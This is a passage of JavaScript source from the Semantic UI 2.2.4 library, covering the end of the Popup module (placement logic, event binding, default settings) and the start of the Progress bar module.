            return $module.data(metadata.variation) || settings.variation;
          },
          popup: function() {
            return $popup;
          },
          popupOffset: function() {
            return $popup.offset();
          },
          calculations: function() {
            var
              targetElement    = $target[0],
              isWindow         = ($boundary[0] == window),
              targetPosition   = (settings.inline || (settings.popup && settings.movePopup))
                ? $target.position()
                : $target.offset(),
              screenPosition = (isWindow)
                ? { top: 0, left: 0 }
                : $boundary.offset(),
              calculations   = {},
              scroll = (isWindow)
                ? { top: $window.scrollTop(), left: $window.scrollLeft() }
                : { top: 0, left: 0},
              screen
            ;
            calculations = {
              // element which is launching popup
              target : {
                element : $target[0],
                width   : $target.outerWidth(),
                height  : $target.outerHeight(),
                top     : targetPosition.top,
                left    : targetPosition.left,
                margin  : {}
              },
              // popup itself
              popup : {
                width  : $popup.outerWidth(),
                height : $popup.outerHeight()
              },
              // offset container (or 3d context)
              parent : {
                width  : $offsetParent.outerWidth(),
                height : $offsetParent.outerHeight()
              },
              // screen boundaries
              screen : {
                top  : screenPosition.top,
                left : screenPosition.left,
                scroll: {
                  top  : scroll.top,
                  left : scroll.left
                },
                width  : $boundary.width(),
                height : $boundary.height()
              }
            };

            // add in container calcs if fluid
            if( settings.setFluidWidth && module.is.fluid() ) {
              calculations.container = {
                width: $popup.parent().outerWidth()
              };
              calculations.popup.width = calculations.container.width;
            }

            // add in margins if inline
            calculations.target.margin.top = (settings.inline)
              ? parseInt( window.getComputedStyle(targetElement).getPropertyValue('margin-top'), 10)
              : 0
            ;
            calculations.target.margin.left = (settings.inline)
              ? module.is.rtl()
                ? parseInt( window.getComputedStyle(targetElement).getPropertyValue('margin-right'), 10)
                : parseInt( window.getComputedStyle(targetElement).getPropertyValue('margin-left'), 10)
              : 0
            ;
            // calculate screen boundaries
            screen = calculations.screen;
            calculations.boundary = {
              top    : screen.top + screen.scroll.top,
              bottom : screen.top + screen.scroll.top + screen.height,
              left   : screen.left + screen.scroll.left,
              right  : screen.left + screen.scroll.left + screen.width
            };
            return calculations;
          },
          id: function() {
            return id;
          },
          startEvent: function() {
            if(settings.on == 'hover') {
              return 'mouseenter';
            }
            else if(settings.on == 'focus') {
              return 'focus';
            }
            return false;
          },
          scrollEvent: function() {
            return 'scroll';
          },
          endEvent: function() {
            if(settings.on == 'hover') {
              return 'mouseleave';
            }
            else if(settings.on == 'focus') {
              return 'blur';
            }
            return false;
          },
          distanceFromBoundary: function(offset, calculations) {
            var
              distanceFromBoundary = {},
              popup,
              boundary
            ;
            calculations = calculations || module.get.calculations();

            // shorthand
            popup        = calculations.popup;
            boundary     = calculations.boundary;

            if(offset) {
              distanceFromBoundary = {
                top    : (offset.top - boundary.top),
                left   : (offset.left - boundary.left),
                right  : (boundary.right - (offset.left + popup.width) ),
                bottom : (boundary.bottom - (offset.top + popup.height) )
              };
              module.verbose('Distance from boundaries determined', offset, distanceFromBoundary);
            }
            return distanceFromBoundary;
          },
          offsetParent: function($target) {
            var
              element = ($target !== undefined)
                ? $target[0]
                : $module[0],
              parentNode = element.parentNode,
              $node    = $(parentNode)
            ;
            if(parentNode) {
              var
                is2D     = ($node.css('transform') === 'none'),
                isStatic = ($node.css('position') === 'static'),
                isHTML   = $node.is('html')
              ;
              while(parentNode && !isHTML && isStatic && is2D) {
                parentNode = parentNode.parentNode;
                $node    = $(parentNode);
                is2D     = ($node.css('transform') === 'none');
                isStatic = ($node.css('position') === 'static');
                isHTML   = $node.is('html');
              }
            }
            return ($node && $node.length > 0)
              ? $node
              : $()
            ;
          },
          positions: function() {
            return {
              'top left'      : false,
              'top center'    : false,
              'top right'     : false,
              'bottom left'   : false,
              'bottom center' : false,
              'bottom right'  : false,
              'left center'   : false,
              'right center'  : false
            };
          },
          nextPosition: function(position) {
            var
              positions          = position.split(' '),
              verticalPosition   = positions[0],
              horizontalPosition = positions[1],
              opposite = {
                top    : 'bottom',
                bottom : 'top',
                left   : 'right',
                right  : 'left'
              },
              adjacent = {
                left   : 'center',
                center : 'right',
                right  : 'left'
              },
              backup = {
                'top left'      : 'top center',
                'top center'    : 'top right',
                'top right'     : 'right center',
                'right center'  : 'bottom right',
                'bottom right'  : 'bottom center',
                'bottom center' : 'bottom left',
                'bottom left'   : 'left center',
                'left center'   : 'top left'
              },
              adjacentsAvailable = (verticalPosition == 'top' || verticalPosition == 'bottom'),
              oppositeTried = false,
              adjacentTried = false,
              nextPosition  = false
            ;
            if(!triedPositions) {
              module.verbose('All available positions available');
              triedPositions = module.get.positions();
            }

            module.debug('Recording last position tried', position);
            triedPositions[position] = true;

            if(settings.prefer === 'opposite') {
              nextPosition  = [opposite[verticalPosition], horizontalPosition];
              nextPosition  = nextPosition.join(' ');
              oppositeTried = (triedPositions[nextPosition] === true);
              module.debug('Trying opposite strategy', nextPosition);
            }
            if((settings.prefer === 'adjacent') && adjacentsAvailable ) {
              nextPosition  = [verticalPosition, adjacent[horizontalPosition]];
              nextPosition  = nextPosition.join(' ');
              adjacentTried = (triedPositions[nextPosition] === true);
              module.debug('Trying adjacent strategy', nextPosition);
            }
            if(adjacentTried || oppositeTried) {
              module.debug('Using backup position', nextPosition);
              nextPosition = backup[position];
            }
            return nextPosition;
          }
        },

        set: {
          position: function(position, calculations) {

            // exit conditions
            if($target.length === 0 || $popup.length === 0) {
              module.error(error.notFound);
              return;
            }
            var
              offset,
              distanceAway,
              target,
              popup,
              parent,
              positioning,
              popupOffset,
              distanceFromBoundary
            ;

            calculations = calculations || module.get.calculations();
            position     = position     || $module.data(metadata.position) || settings.position;

            offset       = $module.data(metadata.offset) || settings.offset;
            distanceAway = settings.distanceAway;

            // shorthand
            target = calculations.target;
            popup  = calculations.popup;
            parent = calculations.parent;

            if(target.width === 0 && target.height === 0 && !module.is.svg(target.element)) {
              module.debug('Popup target is hidden, no action taken');
              return false;
            }

            if(settings.inline) {
              module.debug('Adding margin to calculation', target.margin);
              if(position == 'left center' || position == 'right center') {
                offset       +=  target.margin.top;
                distanceAway += -target.margin.left;
              }
              else if (position == 'top left' || position == 'top center' || position == 'top right') {
                offset       += target.margin.left;
                distanceAway -= target.margin.top;
              }
              else {
                offset       += target.margin.left;
                distanceAway += target.margin.top;
              }
            }

            module.debug('Determining popup position from calculations', position, calculations);

            if (module.is.rtl()) {
              position = position.replace(/left|right/g, function (match) {
                return (match == 'left')
                  ? 'right'
                  : 'left'
                ;
              });
              module.debug('RTL: Popup position updated', position);
            }

            // if last attempt use specified last resort position
            if(searchDepth == settings.maxSearchDepth && typeof settings.lastResort === 'string') {
              position = settings.lastResort;
            }

            switch (position) {
              case 'top left':
                positioning = {
                  top    : 'auto',
                  bottom : parent.height - target.top + distanceAway,
                  left   : target.left + offset,
                  right  : 'auto'
                };
              break;
              case 'top center':
                positioning = {
                  bottom : parent.height - target.top + distanceAway,
                  left   : target.left + (target.width / 2) - (popup.width / 2) + offset,
                  top    : 'auto',
                  right  : 'auto'
                };
              break;
              case 'top right':
                positioning = {
                  bottom :  parent.height - target.top + distanceAway,
                  right  :  parent.width - target.left - target.width - offset,
                  top    : 'auto',
                  left   : 'auto'
                };
              break;
              case 'left center':
                positioning = {
                  top    : target.top + (target.height / 2) - (popup.height / 2) + offset,
                  right  : parent.width - target.left + distanceAway,
                  left   : 'auto',
                  bottom : 'auto'
                };
              break;
              case 'right center':
                positioning = {
                  top    : target.top + (target.height / 2) - (popup.height / 2) + offset,
                  left   : target.left + target.width + distanceAway,
                  bottom : 'auto',
                  right  : 'auto'
                };
              break;
              case 'bottom left':
                positioning = {
                  top    : target.top + target.height + distanceAway,
                  left   : target.left + offset,
                  bottom : 'auto',
                  right  : 'auto'
                };
              break;
              case 'bottom center':
                positioning = {
                  top    : target.top + target.height + distanceAway,
                  left   : target.left + (target.width / 2) - (popup.width / 2) + offset,
                  bottom : 'auto',
                  right  : 'auto'
                };
              break;
              case 'bottom right':
                positioning = {
                  top    : target.top + target.height + distanceAway,
                  right  : parent.width - target.left  - target.width - offset,
                  left   : 'auto',
                  bottom : 'auto'
                };
              break;
            }
            if(positioning === undefined) {
              module.error(error.invalidPosition, position);
            }

            module.debug('Calculated popup positioning values', positioning);

            // tentatively place on stage
            $popup
              .css(positioning)
              .removeClass(className.position)
              .addClass(position)
              .addClass(className.loading)
            ;

            popupOffset = module.get.popupOffset();

            // see if any boundaries are surpassed with this tentative position
            distanceFromBoundary = module.get.distanceFromBoundary(popupOffset, calculations);

            if( module.is.offstage(distanceFromBoundary, position) ) {
              module.debug('Position is outside viewport', position);
              if(searchDepth < settings.maxSearchDepth) {
                searchDepth++;
                position = module.get.nextPosition(position);
                module.debug('Trying new position', position);
                return ($popup)
                  ? module.set.position(position, calculations)
                  : false
                ;
              }
              else {
                if(settings.lastResort) {
                  module.debug('No position found, showing with last position');
                }
                else {
                  module.debug('Popup could not find a position to display', $popup);
                  module.error(error.cannotPlace, element);
                  module.remove.attempts();
                  module.remove.loading();
                  module.reset();
                  settings.onUnplaceable.call($popup, element);
                  return false;
                }
              }
            }
            module.debug('Position is on stage', position);
            module.remove.attempts();
            module.remove.loading();
            if( settings.setFluidWidth && module.is.fluid() ) {
              module.set.fluidWidth(calculations);
            }
            return true;
          },

          fluidWidth: function(calculations) {
            calculations = calculations || module.get.calculations();
            module.debug('Automatically setting element width to parent width', calculations.parent.width);
            $popup.css('width', calculations.container.width);
          },

          variation: function(variation) {
            variation = variation || module.get.variation();
            if(variation && module.has.popup() ) {
              module.verbose('Adding variation to popup', variation);
              $popup.addClass(variation);
            }
          },

          visible: function() {
            $module.addClass(className.visible);
          }
        },

        remove: {
          loading: function() {
            $popup.removeClass(className.loading);
          },
          variation: function(variation) {
            variation = variation || module.get.variation();
            if(variation) {
              module.verbose('Removing variation', variation);
              $popup.removeClass(variation);
            }
          },
          visible: function() {
            $module.removeClass(className.visible);
          },
          attempts: function() {
            module.verbose('Resetting all searched positions');
            searchDepth    = 0;
            triedPositions = false;
          }
        },

        bind: {
          events: function() {
            module.debug('Binding popup events to module');
            if(settings.on == 'click') {
              $module
                .on('click' + eventNamespace, module.toggle)
              ;
            }
            if(settings.on == 'hover' && hasTouch) {
              $module
                .on('touchstart' + eventNamespace, module.event.touchstart)
              ;
            }
            if( module.get.startEvent() ) {
              $module
                .on(module.get.startEvent() + eventNamespace, module.event.start)
                .on(module.get.endEvent() + eventNamespace, module.event.end)
              ;
            }
            if(settings.target) {
              module.debug('Target set to element', $target);
            }
            $window.on('resize' + elementNamespace, module.event.resize);
          },
          popup: function() {
            module.verbose('Allowing hover events on popup to prevent closing');
            if( $popup && module.has.popup() ) {
              $popup
                .on('mouseenter' + eventNamespace, module.event.start)
                .on('mouseleave' + eventNamespace, module.event.end)
              ;
            }
          },
          close: function() {
            if(settings.hideOnScroll === true || (settings.hideOnScroll == 'auto' && settings.on != 'click')) {
              $scrollContext
                .one(module.get.scrollEvent() + elementNamespace, module.event.hideGracefully)
              ;
            }
            if(settings.on == 'hover' && openedWithTouch) {
              module.verbose('Binding popup close event to document');
              $document
                .on('touchstart' + elementNamespace, function(event) {
                  module.verbose('Touched away from popup');
                  module.event.hideGracefully.call(element, event);
                })
              ;
            }
            if(settings.on == 'click' && settings.closable) {
              module.verbose('Binding popup close event to document');
              $document
                .on('click' + elementNamespace, function(event) {
                  module.verbose('Clicked away from popup');
                  module.event.hideGracefully.call(element, event);
                })
              ;
            }
          }
        },

        unbind: {
          events: function() {
            $window
              .off(elementNamespace)
            ;
            $module
              .off(eventNamespace)
            ;
          },
          close: function() {
            $document
              .off(elementNamespace)
            ;
            $scrollContext
              .off(elementNamespace)
            ;
          },
        },

        has: {
          popup: function() {
            return ($popup && $popup.length > 0);
          }
        },

        is: {
          offstage: function(distanceFromBoundary, position) {
            var
              offstage = []
            ;
            // return boundaries that have been surpassed
            $.each(distanceFromBoundary, function(direction, distance) {
              if(distance < -settings.jitter) {
                module.debug('Position exceeds allowable distance from edge', direction, distance, position);
                offstage.push(direction);
              }
            });
            if(offstage.length > 0) {
              return true;
            }
            else {
              return false;
            }
          },
          svg: function(element) {
            return module.supports.svg() && (element instanceof SVGGraphicsElement);
          },
          active: function() {
            return $module.hasClass(className.active);
          },
          animating: function() {
            return ($popup !== undefined && $popup.hasClass(className.animating) );
          },
          fluid: function() {
            return ($popup !== undefined && $popup.hasClass(className.fluid));
          },
          visible: function() {
            return ($popup !== undefined && $popup.hasClass(className.visible));
          },
          dropdown: function() {
            return $module.hasClass(className.dropdown);
          },
          hidden: function() {
            return !module.is.visible();
          },
          rtl: function () {
            return $module.css('direction') == 'rtl';
          }
        },

        reset: function() {
          module.remove.visible();
          if(settings.preserve) {
            if($.fn.transition !== undefined) {
              $popup
                .transition('remove transition')
              ;
            }
          }
          else {
            module.removePopup();
          }
        },

        setting: function(name, value) {
          if( $.isPlainObject(name) ) {
            $.extend(true, settings, name);
          }
          else if(value !== undefined) {
            settings[name] = value;
          }
          else {
            return settings[name];
          }
        },
        internal: function(name, value) {
          if( $.isPlainObject(name) ) {
            $.extend(true, module, name);
          }
          else if(value !== undefined) {
            module[name] = value;
          }
          else {
            return module[name];
          }
        },
        debug: function() {
          if(!settings.silent && settings.debug) {
            if(settings.performance) {
              module.performance.log(arguments);
            }
            else {
              module.debug = Function.prototype.bind.call(console.info, console, settings.name + ':');
              module.debug.apply(console, arguments);
            }
          }
        },
        verbose: function() {
          if(!settings.silent && settings.verbose && settings.debug) {
            if(settings.performance) {
              module.performance.log(arguments);
            }
            else {
              module.verbose = Function.prototype.bind.call(console.info, console, settings.name + ':');
              module.verbose.apply(console, arguments);
            }
          }
        },
        error: function() {
          if(!settings.silent) {
            module.error = Function.prototype.bind.call(console.error, console, settings.name + ':');
            module.error.apply(console, arguments);
          }
        },
        performance: {
          log: function(message) {
            var
              currentTime,
              executionTime,
              previousTime
            ;
            if(settings.performance) {
              currentTime   = new Date().getTime();
              previousTime  = time || currentTime;
              executionTime = currentTime - previousTime;
              time          = currentTime;
              performance.push({
                'Name'           : message[0],
                'Arguments'      : [].slice.call(message, 1) || '',
                'Element'        : element,
                'Execution Time' : executionTime
              });
            }
            clearTimeout(module.performance.timer);
            module.performance.timer = setTimeout(module.performance.display, 500);
          },
          display: function() {
            var
              title = settings.name + ':',
              totalTime = 0
            ;
            time = false;
            clearTimeout(module.performance.timer);
            $.each(performance, function(index, data) {
              totalTime += data['Execution Time'];
            });
            title += ' ' + totalTime + 'ms';
            if(moduleSelector) {
              title += ' \'' + moduleSelector + '\'';
            }
            if( (console.group !== undefined || console.table !== undefined) && performance.length > 0) {
              console.groupCollapsed(title);
              if(console.table) {
                console.table(performance);
              }
              else {
                $.each(performance, function(index, data) {
                  console.log(data['Name'] + ': ' + data['Execution Time']+'ms');
                });
              }
              console.groupEnd();
            }
            performance = [];
          }
        },
        invoke: function(query, passedArguments, context) {
          var
            object = instance,
            maxDepth,
            found,
            response
          ;
          passedArguments = passedArguments || queryArguments;
          context         = element         || context;
          if(typeof query == 'string' && object !== undefined) {
            query    = query.split(/[\. ]/);
            maxDepth = query.length - 1;
            $.each(query, function(depth, value) {
              var camelCaseValue = (depth != maxDepth)
                ? value + query[depth + 1].charAt(0).toUpperCase() + query[depth + 1].slice(1)
                : query
              ;
              if( $.isPlainObject( object[camelCaseValue] ) && (depth != maxDepth) ) {
                object = object[camelCaseValue];
              }
              else if( object[camelCaseValue] !== undefined ) {
                found = object[camelCaseValue];
                return false;
              }
              else if( $.isPlainObject( object[value] ) && (depth != maxDepth) ) {
                object = object[value];
              }
              else if( object[value] !== undefined ) {
                found = object[value];
                return false;
              }
              else {
                return false;
              }
            });
          }
          if ( $.isFunction( found ) ) {
            response = found.apply(context, passedArguments);
          }
          else if(found !== undefined) {
            response = found;
          }
          if($.isArray(returnedValue)) {
            returnedValue.push(response);
          }
          else if(returnedValue !== undefined) {
            returnedValue = [returnedValue, response];
          }
          else if(response !== undefined) {
            returnedValue = response;
          }
          return found;
        }
      };

      if(methodInvoked) {
        if(instance === undefined) {
          module.initialize();
        }
        module.invoke(query);
      }
      else {
        if(instance !== undefined) {
          instance.invoke('destroy');
        }
        module.initialize();
      }
    })
  ;

  return (returnedValue !== undefined)
    ? returnedValue
    : this
  ;
};

$.fn.popup.settings = {

  name           : 'Popup',

  // module settings
  silent         : false,
  debug          : false,
  verbose        : false,
  performance    : true,
  namespace      : 'popup',

  // whether it should use dom mutation observers
  observeChanges : true,

  // callback only when element added to dom
  onCreate       : function(){},

  // callback before element removed from dom
  onRemove       : function(){},

  // callback before show animation
  onShow         : function(){},

  // callback after show animation
  onVisible      : function(){},

  // callback before hide animation
  onHide         : function(){},

  // callback when popup cannot be positioned in visible screen
  onUnplaceable  : function(){},

  // callback after hide animation
  onHidden       : function(){},

  // when to show popup
  on             : 'hover',

  // element to use to determine if popup is out of boundary
  boundary       : window,

  // whether to add touchstart events when using hover
  addTouchEvents : true,

  // default position relative to element
  position       : 'top left',

  // name of variation to use
  variation      : '',

  // whether popup should be moved to context
  movePopup      : true,

  // element which popup should be relative to
  target         : false,

  // jq selector or element that should be used as popup
  popup          : false,

  // popup should remain inline next to activator
  inline         : false,

  // popup should be removed from page on hide
  preserve       : false,

  // popup should not close when being hovered on
  hoverable      : false,

  // explicitly set content
  content        : false,

  // explicitly set html
  html           : false,

  // explicitly set title
  title          : false,

  // whether automatically close on clickaway when on click
  closable       : true,

  // automatically hide on scroll
  hideOnScroll   : 'auto',

  // hide other popups on show
  exclusive      : false,

  // context to attach popups
  context        : 'body',

  // context for binding scroll events
  scrollContext  : window,

  // position to prefer when calculating new position
  prefer         : 'opposite',

  // specify position to appear even if it doesn't fit
  lastResort     : false,

  // delay used to prevent accidental refiring of animations due to user error
  delay        : {
    show : 50,
    hide : 70
  },

  // whether fluid variation should assign width explicitly
  setFluidWidth  : true,

  // transition settings
  duration       : 200,
  transition     : 'scale',

  // distance away from activating element in px
  distanceAway   : 0,

  // number of pixels an element is allowed to be "offstage" for a position to be chosen (allows for rounding)
  jitter         : 2,

  // offset on aligning axis from calculated position
  offset         : 0,

  // maximum times to look for a position before failing (9 positions total)
  maxSearchDepth : 15,

  error: {
    invalidPosition : 'The position you specified is not a valid position',
    cannotPlace     : 'Popup does not fit within the boundaries of the viewport',
    method          : 'The method you called is not defined.',
    noTransition    : 'This module requires ui transitions <https://github.com/Semantic-Org/UI-Transition>',
    notFound        : 'The target or popup you specified does not exist on the page'
  },

  metadata: {
    activator : 'activator',
    content   : 'content',
    html      : 'html',
    offset    : 'offset',
    position  : 'position',
    title     : 'title',
    variation : 'variation'
  },

  className   : {
    active    : 'active',
    animating : 'animating',
    dropdown  : 'dropdown',
    fluid     : 'fluid',
    loading   : 'loading',
    popup     : 'ui popup',
    position  : 'top left center bottom right',
    visible   : 'visible'
  },

  selector    : {
    popup    : '.ui.popup'
  },

  templates: {
    escape: function(string) {
      var
        badChars     = /[&<>"'`]/g,
        shouldEscape = /[&<>"'`]/,
        escape       = {
          "&": "&amp;",
          "<": "&lt;",
          ">": "&gt;",
          '"': "&quot;",
          "'": "&#x27;",
          "`": "&#x60;"
        },
        escapedChar  = function(chr) {
          return escape[chr];
        }
      ;
      if(shouldEscape.test(string)) {
        return string.replace(badChars, escapedChar);
      }
      return string;
    },
    popup: function(text) {
      var
        html   = '',
        escape = $.fn.popup.settings.templates.escape
      ;
      if(typeof text !== undefined) {
        if(typeof text.title !== undefined && text.title) {
          text.title = escape(text.title);
          html += '<div class="header">' + text.title + '</div>';
        }
        if(typeof text.content !== undefined && text.content) {
          text.content = escape(text.content);
          html += '<div class="content">' + text.content + '</div>';
        }
      }
      return html;
    }
  }

};


})( jQuery, window, document );

/*!
 * # Semantic UI 2.2.4 - Progress
 * http://github.com/semantic-org/semantic-ui/
 *
 *
 * Released under the MIT license
 * http://opensource.org/licenses/MIT
 *
 */

;(function ($, window, document, undefined) {

"use strict";

window = (typeof window != 'undefined' && window.Math == Math)
  ? window
  : (typeof self != 'undefined' && self.Math == Math)
    ? self
    : Function('return this')()
;

var
  global = (typeof window != 'undefined' && window.Math == Math)
    ? window
    : (typeof self != 'undefined' && self.Math == Math)
      ? self
      : Function('return this')()
;

$.fn.progress = function(parameters) {
  var
    $allModules    = $(this),

    moduleSelector = $allModules.selector || '',

    time           = new Date().getTime(),
    performance    = [],

    query          = arguments[0],
    methodInvoked  = (typeof query == 'string'),
    queryArguments = [].slice.call(arguments, 1),

    returnedValue
  ;

  $allModules
    .each(function() {
      var
        settings          = ( $.isPlainObject(parameters) )
          ? $.extend(true, {}, $.fn.progress.settings, parameters)
          : $.extend({}, $.fn.progress.settings),

        className       = settings.className,
        metadata        = settings.metadata,
        namespace       = settings.namespace,
        selector        = settings.selector,
        error           = settings.error,

        eventNamespace  = '.' + namespace,
        moduleNamespace = 'module-' + namespace,

        $module         = $(this),
        $bar            = $(this).find(selector.bar),
        $progress       = $(this).find(selector.progress),
        $label          = $(this).find(selector.label),

        element         = this,
        instance        = $module.data(moduleNamespace),

        animating = false,
        transitionEnd,
        module
      ;

      module = {

        initialize: function() {
          module.debug('Initializing progress bar', settings);

          module.set.duration();
          module.set.transitionEvent();

          module.read.metadata();
          module.read.settings();

          module.instantiate();
        },

        instantiate: function() {
          module.verbose('Storing instance of progress', module);
          instance = module;
          $module
            .data(moduleNamespace, module)
          ;
        },
        destroy: function() {
          module.verbose('Destroying previous progress for', $module);
          clearInterval(instance.interval);
          module.remove.state();
          $module.removeData(moduleNamespace);
          instance = undefined;
        },

        reset: function() {
          module.remove.nextValue();
          module.update.progress(0);
        },

        complete: function() {
          if(module.percent === undefined || module.percent < 100) {
            module.remove.progressPoll();
            module.set.percent(100);
          }
        },

        read: {
          metadata: function() {
            var
              data = {
                percent : $module.data(metadata.percent),
                total   : $module.data(metadata.total),
                value   : $module.data(metadata.value)
              }
            ;
            if(data.percent) {
              module.debug('Current percent value set from metadata', data.percent);
              module.set.percent(data.percent);
            }
            if(data.total) {
              module.debug('Total value set from metadata', data.total);
              module.set.total(data.total);
            }
            if(data.value) {
              module.debug('Current value set from metadata', data.value);
              module.set.value(data.value);
              module.set.progress(data.value);
            }
          },
          settings: function() {
            if(settings.total !== false) {
              module.debug('Current total set in settings', settings.total);
              module.set.total(settings.total);
            }
            if(settings.value !== false) {
              module.debug('Current value set in settings', settings.value);
              module.set.value(settings.value);
              module.set.progress(module.value);
            }
            if(settings.percent !== false) {
              module.debug('Current percent set in settings', settings.percent);
              module.set.percent(settings.percent);
            }
          }
        },

        increment: function(incrementValue) {
          var
            maxValue,
            startValue,
            newValue
          ;
          if( module.has.total() ) {
            startValue     = module.get.value();
            incrementValue = incrementValue || 1;
            newValue       = startValue + incrementValue;
          }
          else {
            startValue     = module.get.percent();
            incrementValue = incrementValue || module.get.randomValue();

            newValue       = startValue + incrementValue;
            maxValue       = 100;
            module.debug('Incrementing percentage by', startValue, newValue);
          }
          newValue = module.get.normalizedValue(newValue);
          module.set.progress(newValue);
        },
        decrement: function(decrementValue) {
          var
            total     = module.get.total(),
            startValue,
            newValue
          ;
          if(total) {
            startValue     =  module.get.value();
            decrementValue =  decrementValue || 1;
            newValue       =  startValue - decrementValue;
            module.debug('Decrementing value by', decrementValue, startValue);
          }
          else {
            startValue     =  module.get.percent();
            decrementValue =  decrementValue || module.get.randomValue();
            newValue       =  startValue - decrementValue;
            module.debug('Decrementing percentage by', decrementValue, startValue);
          }
          newValue = module.get.normalizedValue(newValue);
          module.set.progress(newValue);
        },

        has: {
          progressPoll: function() {
            return module.progressPoll;
          },
          total: function() {
            return (module.get.total() !== false);
          }
        },

        get: {
          text: function(templateText) {
            var
              value   = module.value                || 0,
              total   = module.total                || 0,
              percent = (animating)
                ? module.get.displayPercent()
                : module.percent || 0,
              left = (module.total > 0)
                ? (total - value)
                : (100 - percent)
            ;
            templateText = templateText || '';
            templateText = templateText
              .replace('{value}', value)
              .replace('{total}', total)
              .replace('{left}', left)
              .replace('{percent}', percent)
            ;
            module.verbose('Adding variables to progress bar text', templateText);
            return templateText;
          },

          normalizedValue: function(value) {
            if(value < 0) {
              module.debug('Value cannot decrement below 0');
              return 0;
            }
            if(module.has.total()) {
              if(value > module.total) {
                module.debug('Value cannot increment above total', module.total);
                return module.total;
              }
            }
            else if(value > 100 ) {
              module.debug('Value cannot increment above 100 percent');
              return 100;
            }
            return value;
          },

          updateInterval: function() {
            if(settings.updateInterval == 'auto') {
              return settings.duration;
            }
            return settings.updateInterval;
          },

          randomValue: function() {
            module.debug('Generating random increment percentage');
            return Math.floor((Math.random() * settings.random.max) + settings.random.min);
          },

          numericValue: function(value) {
            return (typeof value === 'string')
              ? (value.replace(/[^\d.]/g, '') !== '')
                ? +(value.replace(/[^\d.]/g, ''))
                : false
              : value
            ;
          },

          transitionEnd: function() {
            var
              element     = document.createElement('element'),
              transitions = {
                'transition'       :'transitionend',
                'OTransition'      :'oTransitionEnd',
                'MozTransition'    :'transitionend',
                'WebkitTransition' :'webkitTransitionEnd'
              },
              transition
            ;
            for(transition in transitions){
              if( element.style[transition] !== undefined ){
                return transitions[transition];
              }
            }
          },

          // gets current displayed percentage (if animating values this is the intermediary value)
          displayPercent: function() {
            var
              barWidth       = $bar.width(),
              totalWidth     = $module.width(),
              minDisplay     = parseInt($bar.css('min-width'), 10),
              displayPercent = (barWidth > minDisplay)
                ? (barWidth / totalWidth * 100)
                : module.percent
            ;
            return (settings.precision > 0)
              ? Math.round(displayPercent * (10 * settings.precision)) / (10 * settings.precision)
              : Math.round(displayPercent)
            ;
          },

          percent: function() {
            return module.percent || 0;
          },
          value: function() {
            return module.nextValue || module.value || 0;
          },
          total: function() {
            return module.total || false;
          }
        },

        create: {
          progressPoll: function() {
            module.progressPoll = setTimeout(function() {
              module.update.toNextValue();
              module.remove.progressPoll();
            }, module.get.updateInterval());
          },
        },

        is: {
          complete: function() {
            return module.is.success() || module.is.warning() || module.is.error();
          },
          success: function() {
            return $module.hasClass(className.success);
          },
          warning: function() {
            return $module.hasClass(className.warning);
          },
          error: function() {
            return $module.hasClass(className.error);
          },
          active: function() {
            return $module.hasClass(className.active);
          },
          visible: function() {
            return $module.is(':visible');
          }
        },

        remove: {
          progressPoll: function() {
            module.verbose('Removing progress poll timer');
            if(module.progressPoll) {
              clearTimeout(module.progressPoll);
              delete module.progressPoll;
            }
          },
          nextValue: function() {
            module.verbose('Removing progress value stored for next update');
            delete module.nextValue;
          },
          state: function() {
            module.verbose('Removing stored state');
            delete module.total;
            delete module.percent;
            delete module.value;
          },
          active: function() {
            module.verbose('Removing active state');
            $module.removeClass(className.active);
          },
          success: function() {
            module.verbose('Removing success state');
            $module.removeClass(className.success);
          },
          warning: function() {
            module.verbose('Removing warning state');
            $module.removeClass(className.warning);
          },
          error: function() {
            module.verbose('Removing error state');
            $module.removeClass(className.error);
          }
        },

        set: {
          barWidth: function(value) {
            if(value > 100) {
              module.error(error.tooHigh, value);
            }
            else if (value < 0) {
              module.error(error.tooLow, value);
            }
            else {
              $bar
                .css('width', value + '%')
              ;
              $module
                .attr('data-percent', parseInt(value, 10))
              ;
            }
          },
          duration: function(duration) {
            duration = duration || settings.duration;
            duration = (typeof duration == 'number')
              ? duration + 'ms'
              : duration
            ;
            module.verbose('Setting progress bar transition duration', duration);
            $bar
              .css({
                'transition-duration':  duration
              })
            ;
          },
          percent: function(percent) {
            percent = (typeof percent == 'string')
              ? +(percent.replace('%', ''))
              : percent
            ;
            // round display percentage
            percent = (settings.precision > 0)
              ? Math.round(percent * (10 * settings.precision)) / (10 * settings.precision)
              : Math.round(percent)
            ;
            module.percent = percent;
            if( !module.has.total() ) {
              module.value = (settings.precision > 0)
                ? Math.round( (percent / 100) * module.total * (10 * settings.precision)) / (10 * settings.precision)
                : Math.round( (percent / 100) * module.total * 10) / 10
              ;
              if(settings.limitValues) {
                module.value = (module.value > 100)
                  ? 100
                  : (module.value < 0)
                    ? 0
                    : module.value
                ;
              }
            }
            module.set.barWidth(percent);
            module.set.labelInterval();
            module.set.labels();
            settings.onChange.call(element, percent, module.value, module.total);
          },
          labelInterval: function() {
            var
              animationCallback = function() {
                module.verbose('Bar finished animating, removing continuous label updates');
                clearInterval(module.interval);
                animating = false;
                module.set.labels();
              }
            ;
            clearInterval(module.interval);
            $bar.one(transitionEnd + eventNamespace, animationCallback);
            animating = true;
            module.interval = setInterval(function() {
              var
                isInDOM = $.contains(document.documentElement, element)
              ;
              if(!isInDOM) {
                clearInterval(module.interval);
                animating = false;
              }
              module.set.labels();
            }, settings.framerate);
          },
          labels: function() {
            module.verbose('Setting both bar progress and outer label text');
            module.set.barLabel();
            module.set.state();
          },
          label: function(text) {
            text = text || '';
            if(text) {
              text = module.get.text(text);
              module.verbose('Setting label to text', text);
              $label.text(text);
            }
          },
          state: function(percent) {
            percent = (percent !== undefined)
              ? percent
              : module.percent
            ;
            if(percent === 100) {
              if(settings.autoSuccess && !(module.is.warning() || module.is.error() || module.is.success())) {
                module.set.success();
                module.debug('Automatically triggering success at 100%');
              }
              else {
                module.verbose('Reached 100% removing active state');
                module.remove.active();
                module.remove.progressPoll();
              }
            }
            else if(percent > 0) {
              module.verbose('Adjusting active progress bar label', percent);
              module.set.active();
            }
            else {
              module.remove.active();
              module.set.label(settings.text.active);
            }
          },
          barLabel: function(text) {
            if(text !== undefined) {
              $progress.text( module.get.text(text) );
            }
            else if(settings.label == 'ratio' && module.total) {
              module.verbose('Adding ratio to bar label');
              $progress.text( module.get.text(settings.text.ratio) );
            }
            else if(settings.label == 'percent') {
              module.verbose('Adding percentage to bar label');
              $progress.text( module.get.text(settings.text.percent) );
            }
          },
          active: function(text) {
            text = text || settings.text.active;
            module.debug('Setting active state');
            if(settings.showActivity && !module.is.active() ) {
              $module.addClass(className.active);
            }
            module.remove.warning();
            module.remove.error();
            module.remove.success();
